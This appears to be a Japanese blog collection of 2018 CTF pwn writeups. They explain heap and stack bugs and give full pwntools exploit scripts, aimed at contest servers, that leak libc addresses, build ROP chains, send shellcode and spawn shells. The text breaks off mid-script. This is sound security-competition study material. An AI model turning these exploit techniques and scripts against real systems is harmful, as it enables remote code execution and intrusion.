0CTF/TCTF Finals Baby Heap 18.04, freenote2018 writeup
Baby Heap 18.04
機能
起動すると以下のように機能を選択できる。
===== Baby Heap 18.04 ===== 1. Allocate 2. Update 3. Delete 4. View 5. Exit Command:
各機能は、
1. Allocate
0x1 ~ 0x58までのサイズでmallocを実行できる。取得された領域はmemsetによって取得したサイズ分0埋めされる。ポインタは、bss上にある配列でサイズ、管理フラグと共に保管される。2. Update
指定したindexの領域へ、サイズを指定して書き込みを行える。サイズはAllocateで指定したサイズ+1
まで指定できる。off-by-one overflow3. Delete
指定したindexをfreeする。管理フラグを0にする。4. View
指定したindexの領域を、Allocateした時のサイズ分だけwriteで出力する。
方針
Update
でoff-by-one overflowがあるので、直下のチャンクのサイズを任意の値にすることができる。
まずは、チャンクのoverlapを起こし、address leakを行う。heapのアドレスは簡単に取ることできるが、この問題の環境はubuntu 18.04でありglibc 2.27である。つまりtcacheが有効になっている。tcacheが有効な環境では、サイズが0x420以上のチャンクをfreeすれば、そのチャンクはunsorted binに入り、fd/bkにmain_arenaを指すポインタが置かれる。あとはこのアドレスを出力させればいい、
制御の奪取はとても簡単で、tcacheには、繋がっているチャンクのサイズの確認が一切なく、fake chunkのサイズに該当する部分がどのような値であろうと問題なく動作する。__free_hook
を指すようにtcacheのfdを書き換えて、mallocするだけで、__free_hook
を指す領域を取得できる。
exploit
0CTF/TCTF 2018 Finals Baby Heap 18.04 pwn · GitHub
freenote2018
機能
選択肢は以下の5つ。
1. init a note 2. edit a note 3. free a note 4. show a note 5. exit
各機能は以下の通りである。
init a note
指定したサイズでmallocを実行できる。サイズの制限は0x1 ~ 0x100となっている。確保した領域のポインタはbss上にある配列でポインタと一緒に管理される。edit a note
index指定で1で取得した領域へ書き込みができる。書き込みできるサイズは、initした時のサイズと同じであり、overflowはない。free a note
index指定で指定した領域をfreeできる。free後にポインタをNULL埋めしないため、double freeできる。shoe a note
選択肢として存在するだけで、何もしない(表示もしない)
freeしたポインタがそのまま残っており、editとfreeで何度でも指定することができる。ただし、address leakに使えそうな機能が存在しない。
方針
最近読んで覚えていたので、以下の手法を使った。 House_of_Roman.md · GitHub
手法の概要は、unsortedbinに繋がるチャンクをfastbinsの方へforgeし、さらにチャンクのfdのmain_arena辺りを指すポインタをpartialで書き換えることで、__malloc_hook
付近を指すように書き換えてfastbin attackを成立させる。これで__malloc_hook
付近を覆うようにmallocで取得できる。
さらに、__malloc_hook
へunsortedbin attackによってlibcのアドレスを書き込み、partialで下位3byteを書き換えることで、one gadget RCEのアドレスを作る、といったものである。当然だが、brute forceが必要であり提案者は12bit分だと言っている(体感だともっと悪い気がする)。
今回のバイナリでは、
- initでmallocはするが書き込みeditと別になっている
- UAFによるfd辺りの書き換えがeditで容易にできる
- double freeによってfastbin attackが用意である といった感じで都合が良い。
exploit
12bit brute forceが必要となる。
SECCON BeginnersCTF 2018 writeup
はじめに
ShenzhenWesternsで参加して全完した。普段はTokyoだが、0CTF Finalsで深圳に行っているメンバーがいたのでShenzhenになった(たぶん)
condition
main関数での[rbp-0x4]が0xdeadbeefであれば、flagが出力される。
# python -c 'print "\xef\xbe\xad\xde"*0x10' | nc pwn1.chall.beginners.seccon.jp 16268 Please tell me your name...OK! You have permission to get flag!! ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
BBS
入力でgets()
を使っているので自明なstack bof。
バイナリ内でsystem
を使っているので、適当にROPするだけ。
'/bin/sh'が必要なので、先にgets()
でbssあたりに書き込み、system
を呼んだ。
SECCON BeginnersCTF 2018 BBS · GitHub
Seczon
comment機能にFSBがある。 まずは、libcとstackのアドレスをリークした。 制御を取るためにstackに積まれているmain関数の戻りアドレスを書き換えた。 commentとして入力した文字列は、stackにそのまま乗っているのでやるだけ。
SECCON BeginnersCTF 2018 Seczon · GitHub
Veni, vidi, vici
1行目は、ROT13。2行目は、https://quipqiup.com/ に投げた。3行目は読むだけ。
plain mail
zipファイルがbase64で見えるので、取り出す。zipのパスワードはメール中に書いてある。
てけいさん
やるだけ
RCTF 2018 writeup
babyheap
bug: 1. Alloc
にoff-by-one single byte null overflowがある。
下のチャンクのsizeが上書きでき、サイズの縮小とPREV_INUSEビットのクリアができる。
適当にやればチャンクのoverlapができるので、libcのアドレスをリークをしてfastbin attackをした。
__malloc_hookにone gadget rceを書き込んだ。
https://gist.github.com/hama7230/86643fbf8ad4b6f31521e77a3339b4cf
RNote4
editで入力するサイズの整合性を確認していないため、allocで作成した時のサイズよりも大きい値を入れればheap bofとなる。 editで書き込めるポインタがあるので、そこを書き換えることで任意アドレスの書き換えが出来るようになる。 リークができそうな部分がないが、No PIEでNo RELROとなっているので何とでも出来る。 No RELROなのでstrtabを偽装して、名前解決時にfreeをsystemへとすり替えた。
https://gist.github.com/hama7230/2483803ead0853b7b218b5402986b9fe
stringer
競技中には解けなかった。 UAFがありdouble freeができる。しかしcallocによって割り当てられた領域は0初期化されてしまうので、アドレスのリークができない。 callocでは、IS_MMAPPEDビットがたつチャンクの0初期化が行われないようになっているので、editで当該ビットを立てるようにする。
あとはfastbin attackから__malloc_hookへone gadget rceを書き込んだ。
https://gist.github.com/hama7230/9c74cf53fa2d553cb3baea56a881fbbc
cpushop
hash length extention attackをする。
https://gist.github.com/hama7230/c6b89247bb7a941cdc4e976e16232779
git
blobをzlibで解凍してみたら、flagがあった。
ASIS CTF Quals 2018 writeup
Cat
edit
で更新をしないとUAFが起きるので適当にやった
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./Cat') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6000 LHOST = "127.0.0.1" LPORT = 6000 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Cat'], gdbscript=gdbscript) else: conn = process(['./Cat']) # conn = process(['./Cat'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def create(name, kind, age): conn.sendlineafter('which command?', '1') conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', str(age)) def edit(idx, name, kind, age, flag): conn.sendlineafter('which command?', '2') conn.sendlineafter('id?', str(idx)) conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', age) conn.recvuntil('/n> ') if flag: conn.sendline('y') else: conn.sendline('n') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('> ', str(idx)) # exploit log.info('Pwning') create('a'*8, 'b'*8, 20) edit(0, 'x'*8, 'y'*8, '20', False) create('e'*8, p64(0x602000), 20) edit(0, 'w'*8, p64(0x602068), '20', True) conn.recvuntil('which command?') conn.sendline('4') conn.recvuntil('name: ') conn.recvuntil('name: ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80 dbg("libc_base") create('a'*8, 'b'*8, 20) create('s'*0x10, 'v'*0x10, 20) # 3 edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False) create('x'*10, p64(0x602068)*2, 100) edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False) conn.interactive()
FCascasde
適当にstdinの_IO_buf_base
へnull byteを書き込んで制御をとった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fstream') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6002 LHOST = "127.0.0.1" LPORT = 6002 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ b *0x400A91 continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fstream'], gdbscript=gdbscript) else: conn = process(['./fstream']) # conn = process(['./fstream'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') conn.recvuntil('>') conn.sendline('11010110\x00') conn.recvuntil('>') conn.send('0'*0x98) conn.recvuntil('0'*0x98) libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830 dbg('libc_base') conn.recvuntil('>') conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10) conn.recvuntil('>') conn.sendline('1'*0x8) conn.recvuntil('>') conn.sendline('10110101') conn.recvuntil('>') conn.sendline(str(libc_base + 0x3c4918 + 1)) conn.recvuntil('>') payload = p64(0xdeadbeef) * 3 payload += p64(libc_base + 0x3c4b10) + p64(libc_base + 0x3c4b10 + 0x10) + p64(0) conn.sendline(payload) conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc )) conn.interactive()
Fifty Dollars
0x60のchunkしかmallocできないが、double freeがあるので適当にやった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fifty_dollars') context(os='linux', arch=elf.arch) #context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6001 LHOST = "127.0.0.1" LPORT = 6001 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript) else: conn = process(['./fifty_dollars']) # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def alloc(idx, tmp): conn.sendlineafter('Your choice:', '1') conn.sendlineafter('Index:', str(idx)) conn.sendafter('Content:', tmp) def show(idx): conn.sendlineafter('Your choice:', '2') conn.sendlineafter('Index:', str(idx)) def delete(idx): conn.sendlineafter('Your choice:', '3') conn.sendlineafter('Index:', str(idx)) # exploit log.info('Pwning') alloc(0, 'hoge'*0x8) alloc(1, 'hoge'*0x8) delete(1) delete(0) show(0) buf = conn.recvuntil('Done!')[:6] heap_base = u64(buf+'\x00'*2) - 0x60 dbg("heap_base") alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x20) alloc(3, 'w'*0x20) alloc(4, 'u'*0x20) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0xb0) + 'hogehoge') alloc(1, 'hoge') alloc(1, 'hoge') payload = p64(0) + p64(0xc1) alloc(1, payload) delete(2) show(2) buf = conn.recvuntil('Done!')[:6] libc_base = u64(buf+'\x00'*2) - 0x3c4b78 dbg("libc_base") alloc(1, 'hoge'*11 + 'x'*8) alloc(1, 'hoge'*10) alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x40+p64(0)+p64(0x61)) payload = p64(0) + p64(0xc1) alloc(1, payload) alloc(3, p64(0xdeadbeef)*2) alloc(4, 'u'*0x30 + p64(0) + p64(0x31)) aa = 59 for i in range(aa - 13): print i alloc(8, 'a') for i in range(13 - 4): print i alloc(8, 'b') payload = 'x'*0x20 payload += p64(0) + p64(0x31) alloc(8, payload) for _ in range(3): alloc(8, 'c') payload = 'x'*0x10 payload += p64(0) + p64(0x31) alloc(8, payload) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0x290) + 'hogehoge') alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0)) alloc(1, 'hoge'*10) payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8 alloc(1, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 ) alloc(7, payload) payload = p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(1) payload = p64(0) + p64(0x181) + p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10) alloc(9, payload) delete(1) payload = p64(0) + p64(0x17c1) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) * 3 + p64(libc_base + 0xf1147) alloc(1, payload) conn.interactive()
My Blog
seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./myblog') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./myblog'], gdbscript=gdbscript) else: conn = process(['./myblog']) # conn = process(['./myblog'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def write(con, aut): conn.sendlineafter('4. Exit\n', '1') conn.recvuntil('content') conn.sendline(con) conn.recvuntil('author') conn.sendline(aut) def delete(idx): conn.sendlineafter('4. Exit\n', '2') conn.sendlineafter('index', str(idx)) def show(name): conn.sendlineafter('4. Exit\n', '3') conn.send(name) def bof(pay): conn.sendlineafter('4. Exit\n', '31337') conn.recvuntil('gift 0x') addr = int(conn.recv(12), 16) - 0x0 conn.send(pay) return addr # exploit log.info('Pwning') bin_base = bof('abcd') - 0xef4 dbg('bin_base') for i in range(0x31): write('hoge', 'fuga') show(p64(bin_base + 0x202040)[:7]) delete(-1) for i in range(0x31): delete(i) write('x'*0x2e, 'y'*4) conn.sendline('3') conn.recvuntil('Old Owner : ') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970 dbg("heap_base") conn.sendline('hoge') # 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b pop_rdi = bin_base + 0x00001173 pop_rbp = bin_base + 0x00000990 pop_rsi_r15 = bin_base + 0x00001171 # : pop rsi ; pop r15 ; ret ; (1 found) leave_ret = bin_base + 0x10fa heap = heap_base + 0x1ef0 + 0x38 rop = p64(pop_rdi) + p64(0x0) rop += p64(pop_rbp) + p64(bin_base +0x202040) rop += p64(leave_ret) write(rop[:0x2e], 'y'*0x6) write('x'*0x2e, 'y'*0x6) write('x'*0x2e, 'y'*0x6) #write('x'*0x20, 'y'*4) shellcode = ''' hoge: syscall; push rcx; pop rsi; pop rax; jmp hoge; ''' show(asm(shellcode)) raw_input('exec shellcode') bof(p64(heap)*2+p64(bin_base + 0x000010fa)) shellcode = ''' push 0x30 pop rax xor al, 0x30 push rax mov rax, 7449354444781596526 push rax mov rax, 8606431000579237935 push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 syscall mov rdi, rax lea rsi, [rsp+0x100] mov rdx, 0x100 xor rax, rax syscall mov rdi, 0x1 lea rsi, [rsp+0x100] mov rdx, 0x100 mov rax, 1 syscall ''' conn.sendline('\x90'*0x30 + asm(shellcode)) conn.interactive()
Message Me!
リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./message_me') context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 6003 LHOST = "127.0.0.1" LPORT = 6003 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./message_me'], gdbscript=gdbscript) else: conn = process(['./message_me']) # conn = process(['./message_me'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def add(size, mess): conn.sendlineafter('choice : ', '0') conn.sendlineafter('size : ', str(size)) conn.sendafter('meesage', mess) def remove(idx): conn.sendlineafter('choice : ', '1') conn.sendlineafter('Give me index of the message : ', str(idx)) conn.recvuntil('Done') def show(idx): conn.sendlineafter('choice : ', '2') conn.sendlineafter('Give me index of the message : ', str(idx)) def change_time_stamp(idx): conn.sendlineafter('choice : ', '3') conn.sendlineafter('Give me index', str(idx)) conn.recvuntil('Done') # exploit log.info('Pwning') add(0xf00, 'hoge'*10) add(0x100, 'hoge'*10) remove(0) add(0x80, 'x') show(2) conn.recvuntil('Message : ') libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178 dbg('libc_base') stdout = libc_base + 0x3c5620 stdin = libc_base + 0x3c48e0 add(0x60, p64(0x71) + p64(0x602075)) # 3 add(0x60, 'hoge') # 4 remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) add(0x60, 'hoge') add(0x60, 'hoge') payload = 'x'*0xb + 'y'*8 payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0) + p64(0x181) payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28) print hex(len(payload)) add(0x60, payload) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) remove(0) fake_stdout = p64(0x0) fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4) fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0) fake_stdout += p64(1) + p64(0xffffffffffffffff) fake_stdout += p64(0) + p64(libc_base+0x3c6780) fake_stdout += p64(0xffffffffffffffff) + p64(0) fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3 fake_stdout += p64(0xffffffff) + p64(0)*2 fake_stdout += p64(0x6021b0) vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30 add(0x170, fake_stdout+vtable) add(0x60, p64(0x71)+p64(0x602075)) add(0x60, 'fugafugafugafuga') remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(4) add(0x60, 'fugafugafugafuga') add(0x60, 'fugafugafugafuga') add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0)) conn.interactive()
* CTF 2018 writeup
warmup (misc)
miscだがpwnだった。 stack bofがあるのでやるだけ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10006 LHOST = "127.0.0.1" LPORT = 10006 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./warmup') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./warmup'], execute) else: conn = process(['./warmup']) # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rdi = 0x00400a63 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400a40 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x00400a5a printf_got = 0x0000000000600fc8 puts_plt = elf.symbols['puts'] main_addr = 0x4008B9 log.info('Pwning') conn.sendlineafter('for?', str(0x601030)) conn.recv(1) heap_addr = int(conn.recvline(), 16) log.info('heap_addr = 0x%x', heap_addr) payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr) conn.sendline(payload) conn.sendlineafter('for?', str(0x601010)) conn.recv(1) libc_base = int(conn.recvline(), 16) - 0x3c5620 log.info('libc_base = 0x%x', libc_base) payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10 conn.sendline(payload) conn.interactive()
urlparse (pwn)
size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.75.4.252" RPORT = 10013 LHOST = "127.0.0.1" LPORT = 10013 # libc = ELF('') elf = ELF('./urlparse2') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./aaa'], execute) else: conn = process(['./urlparse2']) # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(size, url): conn.sendlineafter('> ', '1') conn.sendlineafter('size: ', str(size)) conn.sendlineafter('URL: ', url) def encode(idx): conn.sendlineafter('> ', '2') conn.sendlineafter('index: ', str(idx)) def decode(idx): conn.sendlineafter('> ', '3') conn.sendlineafter('index: ', str(idx)) def _list(): conn.sendlineafter('> ', '4') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('index: ', str(idx)) log.info('Pwning') create(0x80, '%31%31%31') create(0x80, '%31%31%31') delete(1) create(0x0, '') _list() conn.recvuntil('0: ') libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8 log.info('libc_base = 0x%x', libc_base) delete(1) delete(0) create(0x80, 'xxxx') create(0x80, 'yyyy') create(0x80, 'wwww') create(0x80, 'zzzz') delete(0) delete(1) create(0x0, '') _list() conn.recvuntil('0: ') heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0 log.info('heap_base = 0x%x', heap_base) delete(0) delete(0) delete(0) create(0x100, '\x10'*0x100) delete(0) create(0, '') create(0x1000, 'hoge') create(0x1000, 'hoge') create(0x60, 'targetfastbin') create(0x1000-0x70, 'hoge') create(0x100, 'BANPEI') encode(5) delete(4) delete(2) # free fastbin import urllib for _ in range(0x20-2): create(0x100, 'hoge') payload = 'h'*0x30 payload += '%25%37%31' + '%25%30%30' * 7 payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed))) create(0x100, payload) decode(0) create(0x60, 'a') payload = 'x'*0xb + p64(libc_base + 0xf1147) create(0x60, payload) conn.interactive()
babtstack (pwn)
よくわからんがcanaryがあるはずなのに、exloitできてしまった。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10005 LHOST = "127.0.0.1" LPORT = 10005 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./bs') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a9c c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bs'], execute) else: conn = process(['./bs']) # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rbp = 0x00400870 leave_ret = 0x00400955 pop_rdi = 0x00400c03 pop_rsi_r15 = 0x00400c01 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x400bfa # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400be0 puts_plt = elf.symbols['puts'] read_plt = elf.symbols['read'] read_got = 0x0000000000601fd0 log.info('Pwning') conn.recvuntil('send?') conn.sendline(str(0x20c0)) time.sleep(0.01) payload = 'x'*(0x20c0 - 0x10a8) rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt) rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0) rop += p64(call_r12) + p64(0x0)*7 rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret) payload += rop conn.send(payload.ljust(0x20c0, 'x')) conn.recvuntil('goodbye.\n') libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740 log.info('libc_base = 0x%x', libc_base) rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390) rop = '\x00'*0x8 + p64(libc_base + 0x4526a) conn.sendline(rop) conn.interactive()
primepwn (pwn)
long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10008 LHOST = "127.0.0.1" LPORT = 10008 # libc = ELF('') elf = ELF('./primepwn') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a87 b *0x400a3a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./primepwn'], execute) else: conn = process(['./primepwn']) # conn = process(['./primepwn'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.recvuntil('(xxxx+') salt = conn.recv(len('cACBELX3C9pULUUB')) print salt conn.recvuntil(' == ') hashed = conn.recvline()[:-1] print hashed import hashlib import string import itertools def search(s, h): chars = string.ascii_letters + string.digits for el in itertools.permutations(chars, 4): x = ''.join(el) if hashlib.sha256(x+s).hexdigest() == h: return x return None conn.sendline(search(salt, hashed)) shellcode = '''hoge: syscall; xchg ecx,esi; mov dh,18; jmp hoge''' shell = 'mov rsp, 0x601f00' print u64(asm(shellcode)) conn.sendline(str(u64(asm(shellcode)))) time.sleep(1) conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh())) time.sleep(1) conn.interactive()
note (pwn)
stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10007 LHOST = "127.0.0.1" LPORT = 10007 # libc = ELF('./libc.so.6') elf = ELF('./note') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400fe9 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./note'], execute) else: conn = process(['./note']) # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def edit(payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Note:', payload) def show(): conn.sendlineafter('> ', '2') conn.recvuntil('Note:') return conn.recvline()[:-1] def save(): conn.sendlineafter('> ', '3') conn.recvuntil('Saved!') def change(payload): conn.sendlineafter('> 